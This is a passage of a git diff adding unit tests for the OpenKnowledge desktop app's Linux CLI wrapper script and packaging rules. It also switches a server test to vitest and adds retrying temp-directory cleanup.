expect(readExtraResourceTargets('mac')).toContain('cli/bin/ok.sh');+ expect(readExtraResourceTargets('linux')).toContain('cli/bin/ok.sh');+ const win = readExtraResourceTargets('win');+ expect(win).toContain('cli/bin/ok.cmd');+ expect(win).toContain('cli/bin/ok.ps1');+ });++ test('the linux cli/bin/ok.sh sources the linux-layout wrapper, not the .app one', () => {+ const rule = readExtraResources('linux').find((r) => r.to === 'cli/bin/ok.sh');+ expect(+ rule?.from,+ 'linux must ship resources/cli/bin/ok-linux.sh as cli/bin/ok.sh — the darwin ' ++ 'ok.sh derives its paths from the .app bundle shape and self-diagnoses exit 69 ' ++ 'on the flat Linux layout.',+ ).toBe('resources/cli/bin/ok-linux.sh');+ });+});+/*** `@inkeep/open-knowledge-native-config` is the toml_edit addon. It differs from* `@napi-rs/keyring` in two ways that need their own guards: it is a workspacediff --git a/packages/desktop/tests/unit/ok-wrapper.test.ts b/packages/desktop/tests/unit/ok-wrapper.test.tsindex 734ec30cc..8ec326b1d 100644--- a/packages/desktop/tests/unit/ok-wrapper.test.ts+++ b/packages/desktop/tests/unit/ok-wrapper.test.ts@@ -106,3 +106,34 @@ describe('ok.sh wrapper', () => {expect(script).not.toContain('export OK_NODE_OPTIONS=$NODE_OPTIONS\n');});});++// Linux sibling wrapper (shipped to cli/bin/ok.sh by the+// linux.extraResources rule; /usr/bin/ok symlinks to it from the deb+// postinst). Same self-diagnosing contract as ok.sh, different install+// layout (flat electron-builder Linux tree, no .app bundle) — so the+// missing-bundle branch is exercised by simply running the committed file+// from the repo, where no sibling `openknowledge` binary exists.+describe('ok-linux.sh wrapper', () => {+ const LINUX_WRAPPER = join(import.meta.dir, '..', '..', 'resources', 'cli', 'bin', 'ok-linux.sh');++ test('is committed with executable bit set', () => {+ expect(() => accessSync(LINUX_WRAPPER, constants.X_OK)).not.toThrow();+ });++ test('missing install emits two-line stderr and exits 69', () => {+ const result = spawnSync(LINUX_WRAPPER, [], { encoding: 'utf8' });+ expect(result.status).toBe(69);+ const lines = result.stderr.trimEnd().split('\n');+ expect(lines).toHaveLength(2);+ expect(lines[0]).toBe('OpenKnowledge has been removed. Reinstall the OpenKnowledge package.');+ const parsed = JSON.parse(lines[1] ?? '');+ expect(parsed.error).toBe('ok-bundle-missing');+ });++ test('NODE_OPTIONS is rescoped to OK_NODE_OPTIONS before exec (quoted)', () => {+ const script = readFileSync(LINUX_WRAPPER, 'utf8');+ expect(script).toContain('export OK_NODE_OPTIONS="$NODE_OPTIONS"');+ expect(script).toContain('unset NODE_OPTIONS');+ expect(script).not.toContain('export OK_NODE_OPTIONS=$NODE_OPTIONS\n');+ });+});diff --git a/packages/server/src/git-preflight-boot.test.ts b/packages/server/src/git-preflight-boot.test.tsindex 495faa39e..d46aa6c6d 100644--- a/packages/server/src/git-preflight-boot.test.ts+++ b/packages/server/src/git-preflight-boot.test.ts@@ -1,4 +1,3 @@-import { afterEach, beforeEach, describe, expect, test } from 'bun:test';import { mkdirSync, writeFileSync } from 'node:fs';import { mkdtemp, realpath, rm } from 'node:fs/promises';import { tmpdir } from 'node:os';@@ -10,6 +9,7 @@ import {InMemorySpanExporter,SimpleSpanProcessor,} from '@opentelemetry/sdk-trace-base';+import { afterEach, beforeEach, describe, expect, test } from 'vitest';import { bootServer } from './boot.ts';import { ConfigSchema } from './config/schema.ts';import {@@ -35,7 +35,14 @@ beforeEach(async () => {});afterEach(async () => {- await rm(tmpDir, { recursive: true, force: true });+ // `booted.destroy()` is awaited before this runs, but the server's async+ // sinks (persistence debounce, telemetry export, pino logger flush) can land+ // a final write into the state dir a beat after destroy resolves. On a loaded+ // macOS CI runner that write can race the recursive removal — a file appears+ // between readdir and rmdir, so the plain `rm` bails with ENOTEMPTY. Retry+ // with linear backoff (~5.5s total) so the removal outlasts any trailing+ // write instead of flaking the whole preflight job.+ await rm(tmpDir, { recursive: true, force: true, maxRetries: 10, retryDelay: 100 });});/**